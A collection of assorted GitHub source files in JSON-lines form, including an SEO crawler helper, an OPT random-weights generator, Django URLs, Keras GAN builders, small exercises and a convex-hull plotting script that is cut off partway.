missing_alt,\n        'num_images': num_images,\n        \"schema\": schema,\n        \"h1\": h1 if h1 else None,\n        \"h1_count\": len(h1),\n        \"h2\": h2 if h2 else None,\n        \"h2_count\": len(h2),\n        \"h3\": h3 if h3 else None,\n        \"h3_count\": len(h3),\n        \"h4\": h4 if h4 else None,\n        \"h4_count\": len(h4),\n        \"h5\": h5 if h5 else None,\n        \"h5_count\": len(h5),\n        \"h6\": h6 if h6 else None,\n        \"h6_count\": len(h6)\n    }\n\n    return page_data\n\ndef find_keys(d, key):\n    '''\n    Takes a dictonary and returns all nested values matching a key\n    '''\n    if isinstance(d, list):\n        for i in d:\n            for x in find_keys(i, key):\n               yield x\n    elif isinstance(d, dict):\n        if key in d:\n            yield d[key]\n        for j in d.values():\n            for x in find_keys(j, key):\n                yield x\n\ndef links_from_sitemap(sitemap, links=None):\n    '''\n    Returns a set of all pages in a sitemap\n    '''   \n    # Get XML and save to dict\n    resp = requests.get(sitemap)\n    sitemap_dict = xmltodict.parse(resp.content)\n\n    if not links:\n        links = set()\n\n    # Find all 'loc' keys in sitemap\n    found = set(find_keys(sitemap_dict, 'loc'))\n\n    # If another sitemap else add to links\n    for url in found:\n        if re.match(\".*.xml\", url):\n            links = links.union(links_from_sitemap(url))\n        else:\n            links.add(url)\n    return links\n\ndef get_all_pages(url, sitemap=sitemap):\n    '''\n    Takes a list of links and returns a set of pages \n\n    return dict of pages as keys and meta info as dict of values\n    '''\n\n    pages = set()\n\n    # If sitemap start with these links\n    if sitemap:\n        crawl = links_from_sitemap(sitemap)\n    else:\n        crawl = set([url])\n\n    data = dict()\n    while crawl:\n        \n        # Get a new page to crawl\n        page = crawl.pop()\n\n        # Record page as page\n        pages.add(page)\n\n        # Get all internal links on page\n        page_info = on_page_data(page)\n\n        if not page_info:\n            continue\n\n        # Add page info to data\n        data[page] = page_info\n        page_links = page_info['links_out']\n\n        # Create a set of links on page\n        page_links = set(page_links)\n\n        # Get pages that are not already in crawl or pages\n        new_pages = page_links.difference(crawl, pages)\n\n        # Add new pages to crawl\n        crawl = crawl.union(new_pages)\n\n    return data\n\ndef update_internal_links(data):\n    '''\n    Updates internal links to show inbound links\n    '''\n    \n    # Check for other pages linking\n    for page_1 in data:\n        linked_from = []\n        for page_2 in data:\n            if page_1 == page_2:\n                continue\n            if page_1 in data[page_2]['links_out']:\n                 linked_from.append(page_2)\n        \n        # Update internal links\n        data[page_1]['links_in'] = linked_from if linked_from else None\n        data[page_1]['links_in'] = len(linked_from)\n\n    return data\n\ndef check_redirect_chains(data):\n    '''\n    Takes a dictonary and updates a count for how many redirects are on each page. Creates a csv s\n\n    ..Opt..\n    - clean url of parameters before checking and adding to set\n    - Take a page url and a list of links instead\n    '''\n\n    # Don't check pages that are keys of data\n    checked = set(data.keys())\n\n    has_redirects = set()\n    redirect_chains = set()\n\n    # Check all known links\n    for page in data:\n        count = 0\n\n        for url in data[page]['links_out']:\n            try:\n                # If redirect already found\n                if url in has_redirects:\n                    count += 1\n                    continue\n                elif url in checked:\n                    continue\n\n                r = requests.get(url)\n\n                if len(r.history) > 0:\n                    # Count a redirect\n                    count += 1\n                    chain = []\n\n                    final_url = r.url\n                    for resp in r.history:\n                        chain.append(resp.url)\n\n                        # Add urls already in a chain to checked\n                        checked.add(resp.url)\n\n                        if resp.url != final_url:\n                            has_redirects.append(resp.url)\n\n                    redirect_chains.add(chain)\n\n            except requests.ConnectionError:\n                print(\"Error: failed to connect.\")\n        \n        # Save number of links\n        data[page][\"redirect_links\"] = count\n\n    # Save redirect chains to csv file\n    with open(NAME + \"_chains.csv\", 'w') as f:\n        writer = csv.writer(f)\n        writer.writerow(redirect_chains)\n\n    return data\n\n    # Update links that are source\n    for page in data:\n        links = data[page]\n\nif __name__ == '__main__':\n    generate_data(NAME, URL)","repo_name":"arah44/seo-scraper","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":9709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34640499858","text":"import argparse\nimport json\nimport os\nimport torch\nfrom transformers.models.opt import OPTConfig\nfrom transformers_neuronx.module import sanitize_file_name, _KEY_TO_FILENAME_JSON\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('name', help=\"OPT model name or path to config.json\")\n    parser.add_argument('save', help=\"target folder to save the model\")\n    parser.add_argument('--empty', action='store_true')\n    args = parser.parse_args()\n    gen_random_pretrained(args.name, args.save, args.empty)\n\n\ndef gen_random_pretrained(model_name, save, empty=False):\n    if 'json' in model_name:\n        config = json.load(open(model_name))\n    elif model_name == 'facebook/opt-175b':\n        config = opt_175b_config()\n    else:\n        config = OPTConfig.from_pretrained(model_name).to_dict()\n    os.makedirs(save, exist_ok=True)\n    with open(os.path.join(save, 'config.json'), 'w') as fp:\n        json.dump(config, fp, indent=2)\n    vocab_size = config['vocab_size']\n    hidden_size = config['hidden_size']\n    max_position_embeddings = config['max_position_embeddings']\n    ffn_dim = config['ffn_dim']\n    num_hidden_layers = config['num_hidden_layers']\n    init_std = config['init_std']\n    torch_dtype = config['torch_dtype']\n    name2shape = {\n        'model.decoder.embed_tokens.weight': [vocab_size, hidden_size],\n        'model.decoder.embed_positions.weight': [max_position_embeddings + 2, hidden_size],\n        'model.decoder.final_layer_norm.weight': [hidden_size],\n        'model.decoder.final_layer_norm.bias': [hidden_size],\n    }\n    layer_name2shape = {\n        'self_attn.k_proj.weight': [hidden_size, hidden_size],\n        'self_attn.k_proj.bias': [hidden_size],\n        'self_attn.v_proj.weight': [hidden_size, hidden_size],\n        'self_attn.v_proj.bias': [hidden_size],\n        'self_attn.q_proj.weight': [hidden_size, hidden_size],\n        'self_attn.q_proj.bias': [hidden_size],\n        'self_attn.out_proj.weight': [hidden_size, hidden_size],\n        'self_attn.out_proj.bias': [hidden_size],\n        'self_attn_layer_norm.weight': [hidden_size],\n        'self_attn_layer_norm.bias': [hidden_size],\n        'fc1.weight': [ffn_dim, hidden_size],\n        'fc1.bias': [ffn_dim],\n        'fc2.weight': [hidden_size, ffn_dim],\n        'fc2.bias': [hidden_size],\n        'final_layer_norm.weight': [hidden_size],\n        'final_layer_norm.bias': [hidden_size],\n    }\n    for idx in range(num_hidden_layers):\n        for name, shape in layer_name2shape.items():\n            name2shape[f'model.decoder.layers.{idx}.{name}'] = shape\n    name2shape['lm_head.weight'] = [vocab_size, hidden_size]\n    key_to_filename = {}\n    for idx, key in enumerate(name2shape.keys()):\n        key_to_filename[key] = f'p{idx}.{sanitize_file_name(key)}'\n        if empty:\n            key_to_filename[key] = f'{key_to_filename[key]}.empty_json'\n    split_param_dir = os.path.join(save, 'pytorch_model.bin')\n    os.makedirs(split_param_dir, exist_ok=True)\n    with open(os.path.join(split_param_dir, _KEY_TO_FILENAME_JSON), 'w') as fp:\n        json.dump(key_to_filename, fp, indent=2)\n    dtype = getattr(torch, torch_dtype)\n    for name, shape in name2shape.items():\n        save_path = os.path.join(split_param_dir, key_to_filename[name])\n        factor = 0.0 if 'layer_norm' in name or 'bias' in name else init_std\n        if empty:\n            empty_json = {\n                'torch_dtype': torch_dtype,\n                'shape': shape,\n                'init_std': factor,\n            }\n            with open(save_path, 'w') as fp:\n                json.dump(empty_json, fp, indent=2)\n            continue\n        init_param = factor * torch.randn(shape)\n        init_param = init_param.to(dtype)\n        torch.save(init_param, save_path)\n        print(f'done saving {save_path}')\n\n\ndef opt_175b_config():\n    vocab_size = 50272\n    hidden_size = 12288\n    max_position_embeddings = 2048\n    ffn_dim = 49152\n    num_hidden_layers = 96\n    init_std = 0.02\n    config = dict(\n        _name_or_path='facebook/opt-175b',\n        _remove_final_layer_norm=False,\n        activation_dropout=0.0,\n        activation_function='relu',\n        architectures=['OPTForCausalLM'],\n        attention_dropout=0.0,\n        bos_token_id=2,\n        do_layer_norm_before=True,\n        dropout=0.1,\n        eos_token_id=2,\n        ffn_dim=ffn_dim,\n        hidden_size=hidden_size,\n        init_std=init_std,\n        layerdrop=0.0,\n        max_position_embeddings=max_position_embeddings,\n        model_type='opt',\n        num_attention_heads=96,\n        num_hidden_layers=num_hidden_layers,\n        output_projection=True,\n        pad_token_id=1,\n        prefix='</s>',\n        torch_dtype='float16',\n        transformers_version='4.23.1',\n        use_cache=True,\n        vocab_size=vocab_size,\n        word_embed_proj_dim=hidden_size,\n    )\n    return config\n","repo_name":"aws-neuron/transformers-neuronx","sub_path":"src/transformers_neuronx/opt/gen_random_pretrained.py","file_name":"gen_random_pretrained.py","file_ext":"py","file_size_in_byte":4861,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"3"}
+{"seq_id":"9239830535","text":"\"\"\"Blog URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\n# from django.contrib import admin\nfrom django.urls import path,re_path\nfrom web.views import account\nfrom web.views import home\nurlpatterns = [\n    path('register.html', account.register),\n    path('check_code.html',account.check_code),\n    path('login.html',account.login),\n    path('logout.html',account.logout),\n    re_path('(?P<site>\\w+)/(?P<nid>\\d+).html',home.detail),\n    re_path('(?P<site>\\w+).html',home.home),\n    re_path('(?P<site>\\w+)/(?P<condition>((tag)|(date)|(category)))/(?P<val>\\w+-*\\w*).html', home.filter),\n    re_path('all/(?P<article_type_id>\\d+).html', home.index, name='index'),\n\n    path('',home.index),\n\n\n]\n","repo_name":"44aced/blog","sub_path":"web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17091967360","text":"\"\"\"\nThis works as a smoke test for elasticsearch tests and at the same\ntime, as a template to make more tests\n\"\"\"\nimport requests\nfrom conftest import ES_TOKEN\n\n\ndef description():\n    return \"\"\"<p><b>Add one single document</b></p>\n<br />\n<p>Using the Single document APIs add one document into the <strong>test-index</strong> of document type <strong>_doc</string>, with the following content:</p>\n<blockquote>\n{\n  \"@timestamp\": \"1969-07-20T20:17:00.000Z\",\n  \"event\": {\n    \"original\": \"Apollo 11 - Moon landing\"\n  }\n}\n</blockquote>\n\"\"\"\n\n\ndef test_if_server_is_alive():\n    print(f\"Token: {ES_TOKEN}\")\n    try:\n        r = requests.get(\n            \"https://localhost:9200/_search\",\n            headers={\n                \"Content-Type\": \"application/json\",\n                \"Authorization\": f\"Basic {ES_TOKEN}\",\n            },\n            verify=\"./certs/ca/ca.crt\",\n        )\n        status = r.status_code\n    except:\n        status = 404\n\n    assert status == 201\n","repo_name":"ferro2o3/es-testing","sub_path":"tests/001-getting-started/0001_add_single_document.py","file_name":"0001_add_single_document.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8472782338","text":"class Solution:\n    def singleNumber(self, nums: List[int]) -> int:\n        # answer = 0\n        # for num in nums:\n        #     #All the numbers that have a pair will zero out!!!\n        #     answer ^= num #Awesome idea!!! \n        # return answer\n        set_num = set()\n        for num in nums:\n            if num in set_num:\n                set_num.remove(num)\n            else:\n                set_num.add(num)\n        return set_num.pop()\n    ","repo_name":"robertomaldonado/LeetHubCode","sub_path":"136-single-number/136-single-number.py","file_name":"136-single-number.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7637580455","text":"from keras.applications import VGG19\nimport keras\n\nimport config\n\ndef buildVGG():\n    \"\"\"Build and return the vgg network for feature extraction.\"\"\"\n    vgg19 = VGG19(\n        include_top=False,\n        weights='imagenet',\n        input_shape=config.IMG_SHAPE\n    )\n    vgg19.trainable = False\n    for layer in vgg19.layers:\n        layer.trainable = False\n\n    feature_extractor = keras.models.Model(\n        inputs=vgg19.input,\n        outputs=vgg19.get_layer(\"block2_conv2\").output\n    )\n\n    feature_extractor.trainable = False\n    return feature_extractor\n\n\ndef buildGenerator(kernel_size, layers, bn, kpcn, kpcn_size):\n    \"\"\"Build and return the generator for use in the gan.\"\"\"\n    def convLayer(c_input, num_filters):\n        \"\"\"Helper function for a convolutional block.\"\"\"\n        c_output = keras.layers.Conv2D(\n            filters=num_filters,\n            kernel_size=kernel_size,\n            use_bias=False,\n            strides=[1, 1],\n            padding=\"SAME\",\n            kernel_initializer=keras.initializers.glorot_normal(seed=5678)\n        )(c_input)\n        return c_output\n\n    ################################################\n\n    # The generator takes a noisy image as input\n    noisy_img = keras.layers.Input(config.DENOISER_INPUT_SHAPE, name=\"Generator_input\")\n\n    # 9 fully convolutional layers\n    x = convLayer(noisy_img, 100)\n    x = keras.layers.ReLU()(x)\n    for _ in range(layers):\n        x = convLayer(x, 100)\n        if bn:\n            x = keras.layers.BatchNormalization()(x)\n        x = keras.layers.ReLU()(x)\n\n    # Final layer is not activated\n    if kpcn:\n        weights = convLayer(x, pow(kpcn_size, 2))\n    else:\n        weights = convLayer(x, 3)\n\n    return keras.models.Model(noisy_img, weights, name=\"Generator\")\n\ndef buildCritic():\n    \"\"\"Build and return the critic for use in th GAN.\"\"\"\n    def convBlock(c_input, num_filters, strides):\n        \"\"\"Helper function for a convolutional block. Includes LeakyReLU\n        activation.\"\"\"\n        c_output = keras.layers.Conv2D(\n            filters=num_filters,\n            kernel_size=[3, 3],\n            strides=strides,\n            padding=\"SAME\"\n        )(c_input)\n        \n        output = keras.layers.LeakyReLU(alpha=0.2)(c_output)\n        \n        return output\n\n    ################################################\n\n    img = keras.layers.Input(shape=config.IMG_SHAPE, name=\"Critic_input\")\n    \n    x = convBlock(img, 64, strides=[1, 1])\n    x = convBlock(img, 64, strides=[2, 2])\n    x = keras.layers.Dropout(0.4)(x)\n    x = convBlock(x, 128, strides=[1, 1])\n    x = convBlock(x, 128, strides=[2, 2])\n    x = keras.layers.Dropout(0.4)(x)\n    x = convBlock(x, 256, strides=[1, 1])\n    x = convBlock(x, 256, strides=[2, 2])\n    x = keras.layers.Dropout(0.4)(x)\n    x = convBlock(x, 512, strides=[1, 1])\n    x = convBlock(x, 512, strides=[2, 2])\n    x = keras.layers.Dropout(0.4)(x)\n\n    #x = keras.layers.Dense(1024)(x)\n    #x = keras.layers.Dropout(0.5)(x)\n    x = keras.layers.LeakyReLU(alpha=0.2)(x)\n    x = keras.layers.Flatten()(x)\n    x = keras.layers.Dense(1)(x)\n\n    return keras.models.Model(img, x, name=\"Critic\")\n\n\ndef buildDiscriminator():\n    \"\"\"Build and return the discriminator for use in vanilla GAN.\"\"\"\n    def convBlock(c_input, num_filters, strides, bn=True):\n        \"\"\"Helper function for a convolutional block.\"\"\"\n        c_output = keras.layers.Conv2D(\n            filters=num_filters,\n            kernel_size=[3, 3],\n            strides=strides,\n            padding=\"SAME\"\n        )(c_input)\n\n        output = keras.layers.LeakyReLU(alpha=0.2)(c_output)\n\n        if bn:\n            output = keras.layers.BatchNormalization(momentum=0.8)(output)\n\n        return output\n\n    ################################################\n\n    img = keras.layers.Input(shape=self.img_shape, name=\"Discriminator_input\")\n\n    x = convBlock(img, 64, strides=[1, 1], bn=False)\n    x = convBlock(x, 64, strides=[2, 2])\n    x = convBlock(x, 128, strides=[1, 1])\n    x = convBlock(x, 128, strides=[2, 2])\n    x = convBlock(x, 256, strides=[1, 1])\n    x = convBlock(x, 256, strides=[2, 2])\n    x = convBlock(x, 512, strides=[1, 1])\n    x = convBlock(x, 512, strides=[2, 2])\n\n    x = keras.layers.Dense(1024)(x)\n    x = keras.layers.LeakyReLU(alpha=0.2)(x)\n    x = keras.layers.Flatten()(x)\n    prob = keras.layers.Dense(1, activation='sigmoid')(x)\n\n    return keras.models.Model(img, prob, name=\"Discriminator\")\n\n","repo_name":"jamesTait-jt/monte-carlo-denoiser","sub_path":"denoiser/code/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32595763600","text":"import cv2\nimport numpy\nimport torch\nimport numpy as np\nfrom imgaug import augmenters as iaa\nfrom pycocotools import mask as cocomask\nimport pandas as pd\nfrom src.config import *\nimport matplotlib.pyplot as plt\n\n\ndef load_image(path, mask=False, aug=None):\n    \"\"\"\n    Load image from a given path and pad it on the sides, so that eash side is divisible by 32 (newtwork requirement)\n\n    if pad = True:\n        returns image as numpy.array, tuple with padding in pixels as(x_min_pad, y_min_pad, x_max_pad, y_max_pad)\n    else:\n        returns image as numpy.array\n    \"\"\"\n\n    img = cv2.imread(str(path))\n    img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n    if aug:\n        img = aug.augment_images([img])[0]\n\n    height, width, _ = img.shape\n\n    # Padding in needed for UNet models because they need image size to be divisible by 32\n    if height % 32 == 0:\n        y_min_pad = 0\n        y_max_pad = 0\n    else:\n        y_pad = 32 - height % 32\n        y_min_pad = int(y_pad / 2)\n        y_max_pad = y_pad - y_min_pad\n\n    if width % 32 == 0:\n        x_min_pad = 0\n        x_max_pad = 0\n    else:\n        x_pad = 32 - width % 32\n        x_min_pad = int(x_pad / 2)\n        x_max_pad = x_pad - x_min_pad\n    # plt.subplot(121)\n    # plt.imshow(img)\n    img = cv2.copyMakeBorder(img, y_min_pad, y_max_pad, x_min_pad, x_max_pad, cv2.BORDER_REFLECT_101)\n    # plt.subplot(122)\n    # plt.imshow(img)\n    # plt.show()\n    if mask:\n        # Convert mask to 0 and 1 format\n        img = img[:, :, 0:1] // 255\n        return torch.from_numpy(img).float().permute([2, 0, 1])\n    else:\n        img = img / 255.0\n        return torch.from_numpy(img).float().permute([2, 0, 1])\n\n\ndef rle_encoding(x):\n    dots = np.where(x.T.flatten() == 1)[0]\n    run_lengths = []\n    prev = -2\n    for b in dots:\n        if (b > prev + 1): run_lengths.extend((b + 1, 0))\n        run_lengths[-1] += 1\n        prev = b\n    return run_lengths\n\n\ndef save_checkpoint(model, extra, checkpoint, optimizer=None):\n    state = {'state_dict': model.state_dict(),\n             'extra': extra}\n    if optimizer:\n        state['optimizer'] = optimizer.state_dict()\n\n    torch.save(state, CHECKPOINT_DIR + checkpoint)\n\n    print('model saved to %s' % (CHECKPOINT_DIR + checkpoint))\n\n\ndef load_checkpoint(model, checkpoint, optimizer=None):\n    state = torch.load(CHECKPOINT_DIR + checkpoint)\n    # del state['state_dict']['final.weight']\n    # del state['state_dict']['final.bias']\n    model.load_state_dict(state['state_dict'], strict=False)\n    optimizer_state = state.get('optimizer')\n    if optimizer and optimizer_state:\n        optimizer.load_state_dict(optimizer_state)\n\n    print(\"Checkpoint loaded: %s \" % state['extra'])\n    return state['extra']\n\n\ndef get_paddings():\n    height, width = IMAGE_PADDED, IMAGE_PADDED\n    if height % 32 == 0:\n        y_min_pad = 0\n        y_max_pad = 0\n    else:\n        y_pad = 32 - height % 32\n        y_min_pad = int(y_pad / 2)\n        y_max_pad = y_pad - y_min_pad\n    if width % 32 == 0:\n        x_min_pad = 0\n        x_max_pad = 0\n    else:\n        x_pad = 32 - width % 32\n        x_min_pad = int(x_pad / 2)\n        x_max_pad = x_pad - x_min_pad\n    return x_max_pad, x_min_pad, y_max_pad, y_min_pad\n\n\ndef build_submission(binary_prediction, test_file_list):\n    all_masks = []\n    for p_mask in list(binary_prediction):\n        p_mask = rle_encoding(p_mask)\n        all_masks.append(' '.join(map(str, p_mask)))\n    submit = pd.DataFrame([test_file_list, all_masks]).T\n    submit.columns = ['id', 'rle_mask']\n    return submit\n\n\ndef crop_to_original_size(predictions):\n    x_max_pad, x_min_pad, y_max_pad, y_min_pad = get_paddings()\n    stacked_predictions = np.vstack(predictions)[:, 0, :, :]\n    stacked_predictions = stacked_predictions[:, y_min_pad:IMAGE_TOTAL_SIZE - y_max_pad,\n                          x_min_pad:IMAGE_TOTAL_SIZE - x_max_pad]\n    return stacked_predictions\n","repo_name":"AChepurnoi/kaggle-tgs-salt","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24457485949","text":"def main():\n    x = get_int(\"What's x? \")\n    print(f\"You've entered: {x}\")\n    \ndef get_int(prompt):\n    while True:\n        try:\n            x = int(input(prompt))\n        except ValueError:\n            print(\"That's not a number! Try again.\") # pass can be used here\n        else:\n            break\n\n    return x\n    \n        \nmain()\n","repo_name":"eugeneayonga/CS50P","sub_path":"exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72962938000","text":"# importing packages\r\nfrom pytube import YouTube\r\nimport os\r\n\r\n\r\n\r\ndef download(url):\r\n# url input from user\r\n    yt = YouTube(str(url))\r\n\r\n    # extract only audio\r\n    video = yt.streams.filter(only_audio=True).first()\r\n    \r\n    # check for destination to save file\r\n    \r\n    destination = './'\r\n\r\n    # download the file\r\n    out_file = video.download(output_path=destination)\r\n\r\n    # save the file\r\n    base, ext = os.path.splitext(out_file)\r\n    new_file = base + '.mp3'\r\n    os.rename(out_file, new_file)\r\n\r\n\r\n    # result of success\r\n    \r\n    return new_file\r\n\r\n","repo_name":"yasir-dev1/Speech-To-Text-1","sub_path":"Downloader.py","file_name":"Downloader.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72833850000","text":"\"\"\"\nDay 12 initial solution\nBenjamin Wheeler\n\"\"\"\nimport turtle\n\n\ndef part1(directions=None) -> int:\n    if not directions:\n        with open('day12.input', 'r') as f:\n            directions = f.read()\n\n    directions = directions.splitlines()\n\n    # Utilize a Turtle to follow the instructions!\n    s = turtle.Screen()\n    s.screensize(1200, 1600)\n\n    t = turtle.Turtle()\n\n    movements = {\n        'N': lambda dist: t.sety(t.ycor() + dist),\n        'S': lambda dist: t.sety(t.ycor() - dist),\n        'E': lambda dist: t.setx(t.xcor() + dist),\n        'W': lambda dist: t.setx(t.xcor() - dist),\n        'L': lambda deg: t.left(deg),\n        'R': lambda deg: t.right(deg),\n        'F': lambda dist: t.forward(dist)\n    }\n\n    for direction in directions:\n        command, *arg = direction\n        arg = int(''.join(arg))\n\n        # Run the command\n        movements[command](arg)\n\n    # print('Turtle is done, you can now close the window.')\n    # turtle.done()\n\n    # Return the Manhattan distance.\n    return abs(int(t.xcor())) + abs(int(t.ycor()))\n\n\nif __name__ == '__main__':\n    print(f'Running day 12...')\n    answer = part1()\n    print('Part 1:', answer)\n\n    print('Done.')\n\n","repo_name":"benjamin051000/adventofcode","sub_path":"2020/day12/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40429638092","text":"# I dislike this solution even more but it's pretty funny\nfile = open(\"input.txt\", \"r\")\nfileLines = [line.strip(\"\\n\") for line in file.readlines()]\n\n# Structure for each subarray: Lose, Draw, Win\nveryBadList = [[\"Z\", \"X\", \"Y\"], [\"X\", \"Y\", \"Z\"], [\"Y\", \"Z\", \"X\"]]\n\nscoreStep1 = 0\nscoreStep2 = 0\n\nfor line in fileLines:\n    inputA,inputB = line.split()[0], line.split()[1]\n    scoreStep1 += veryBadList[ord(inputA) - 65].index(inputB) * 3 + ord(inputB) - 87\n    scoreStep2 += (3 * (ord(inputB) - 88)) + ord(veryBadList[ord(inputA) - 65][ord(inputB) - 88]) - 87\n\nprint(scoreStep1)\nprint(scoreStep2)","repo_name":"leifkemp-bjss/aoc-2022","sub_path":"day2/day2-alternate.py","file_name":"day2-alternate.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22611766657","text":"import re\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport argparse\nimport sys\n\nnum_pattern = r'[-]?\\d+(\\.\\d+)?([e][\\+\\-]\\d+)?'\n\nbase = \"results\"\n\nfilenames = [\n    \"graham_scan_increasing_points.csv\",\n    \"jarvis_time_increasing_points.csv\",\n    \"graham_time_vertices.csv\",\n    \"jarvis_time_vertices.csv\"\n]\n\nfor i in range(len(filenames)):\n    filenames[i] = os.path.join(base, filenames[i])\n\n\ndef _check_pattern(line, pattern):\n    \"\"\"\n    Checks that line matches the iss_pattern. Returns True if it does\n    and also adds info about if it is a commentary or not.\n    Returns False otherwise\n    \"\"\"\n    r = re.match(pattern, line)\n    if r:\n        return r.groupdict()\n    else:\n        return False\n\n\ndef is_point_time(line):\n    \"\"\"\n    \"\"\"\n    constant_pattern = r'(?P<total>\\d+)[,]?\\s+(?P<border>\\d+)[,]?\\s+(?P<time>{})\\s*'.format(num_pattern)\n    return _check_pattern(line, constant_pattern)\n\n\ndef transform_coord_data(coord_dict):\n    \"\"\"\n    Transforms a coordinate dict's fields to their corresponding\n    numeric types. coord_dict is possibly a result from calling\n    is_coordinate_definition\n    \"\"\"\n    int_keys     = [\"total\",\"border\"]\n    numeric_keys = [\"time\"]\n    for int_key in int_keys:\n        if coord_dict.get(int_key):\n            coord_dict[int_key] = int(coord_dict[int_key])\n    for num_key in numeric_keys:\n        if coord_dict.get(num_key):\n            coord_dict[num_key] = float(coord_dict[num_key])\n\n\ndef read_file(path):\n    \"\"\"\n    Reads a file and returns a list where each item is a line read\n    \"\"\"\n    output_lines = []\n    fopen = open(path, \"r\")\n    for line in fopen:\n        output_lines.append(line[:-1]) # leaves \\n unread\n    fopen.close()\n    return output_lines\n\n\ndef clean_lines(lines):\n    for i in range(len(lines)-1,-1,-1):\n        line = lines[i]\n        if not line.strip():\n            lines.pop(i)\n\n\n\ndef range_valid_coordinates(lines, lin_range):\n    range_ind = []\n    count = 0\n    for i in range(*lin_range):\n        line = lines[i]\n        if bool(is_point_time(line)):\n            range_ind.append(i)\n    return range_ind\n\n\ndef read_result_file(file_path):\n    lines = read_file(file_path)\n    range_num = range_valid_coordinates(lines, [0, len(lines)])\n    n_data = len(range_num)\n\n    array_shape = (n_data, 3)\n    a_table = np.zeros(array_shape, dtype=float)\n\n    i = 0\n    for k in range_num:\n        raw = lines[k]\n        res = is_point_time(raw)\n        if res:\n            transform_coord_data(res)\n            a_table[i, :] = [res[\"total\"], res[\"border\"], res[\"time\"]]\n            i += 1\n\n    return a_table\n\n\ndef plot_ch_increasing_points(xLog10=False, yLog10=False, title=\"Performance vs Number of Points in Cloud\"):\n    graham_t = read_result_file(filenames[0])\n    jarvis_t = read_result_file(filenames[1])\n\n    mins = np.zeros([2,3], dtype=float)\n    mins[0,:] = graham_t.min(axis=0)\n    mins[1,:] = jarvis_t.min(axis=0)\n\n    minmin = mins.min(axis=0)\n\n    maxes = np.zeros([2,3], dtype=float)\n    maxes[0,:] = graham_t.max(axis=0)\n    maxes[1,:] = jarvis_t.max(axis=0)\n    maxmax = maxes.max(axis=0)\n\n    fig = plt.figure()\n    #plt.gcf().subplots_adjust(bottom=0.15, top=0.8)\n    ax = fig.add_axes([0.1, 0.1, 0.8, 0.8])\n\n\n    xlabel = \"Puntos totales\"\n    ylabel = \"Time[s]\"\n\n    x_g = graham_t[:,0]\n    y_g = graham_t[:,2]\n\n    x_j = jarvis_t[:,0]\n    y_j = jarvis_t[:,2]\n\n    ax_lims = np.array([minmin[2]*9/10, maxmax[2]*11/10])\n    if xLog10:\n        xlabel = \"log10 \" + xlabel\n        x_g = np.log10(x_g)\n        x_j = np.log10(x_j)\n\n    if yLog10:\n        ax_lims = np.log10(ax_lims)\n        ylabel = \"log10 \" + ylabel\n        y_g = np.log10(y_g)\n        y_j = np.log10(y_j)\n    #ax.plot(x,y, label=\"{} threads\".format(threads))\n    ax.plot(x_g,y_g, label=\"Graham Scan\")\n    ax.plot(x_j,y_j, label=\"Gift Wrap\")\n\n\n    ax.set_title(title)\n    ax.set_xlabel(xlabel)\n    ax.set_ylabel(ylabel)\n    ax.legend()\n\n    ax.set_ylim(*ax_lims)\n\n    ax.grid(b=True)\n    plt.show()\n    #ax.savefig('myfile.png', bbox_inches=\"tight\")\n\n\ndef plot_ch_increasing_vertices(xLog10=False, yLog10=False, title=\"Performance vs Number of Vertices in Convex Hull\"):\n    graham_t = read_result_file(filenames[2])\n    jarvis_t = read_result_file(filenames[3])\n\n    mins = np.zeros([2,3], dtype=float)\n    mins[0,:] = graham_t.min(axis=0)\n    mins[1,:] = jarvis_t.min(axis=0)\n\n    minmin = mins.min(axis=0)\n\n    maxes = np.zeros([2,3], dtype=float)\n    maxes[0,:] = graham_t.max(axis=0)\n    maxes[1,:] = jarvis_t.max(axis=0)\n    maxmax = maxes.max(axis=0)\n\n    fig = plt.figure()\n    #plt.gcf().subplots_adjust(bottom=0.15, top=0.8)\n    ax = fig.add_axes([0.1, 0.1, 0.8, 0.8])\n\n\n    xlabel = \"Puntos en Hull\"\n    ylabel = \"Time[s]\"\n\n    x_g = graham_t[:,1]\n    y_g = graham_t[:,2]\n\n    x_j = jarvis_t[:,1]\n    y_j = jarvis_t[:,2]\n\n    ax_lims = np.array([minmin[2]*9/10, maxmax[2]*11/10])\n    if xLog10:\n        xlabel = \"log10 \" + xlabel\n        x_g = np.log10(x_g)\n        x_j = 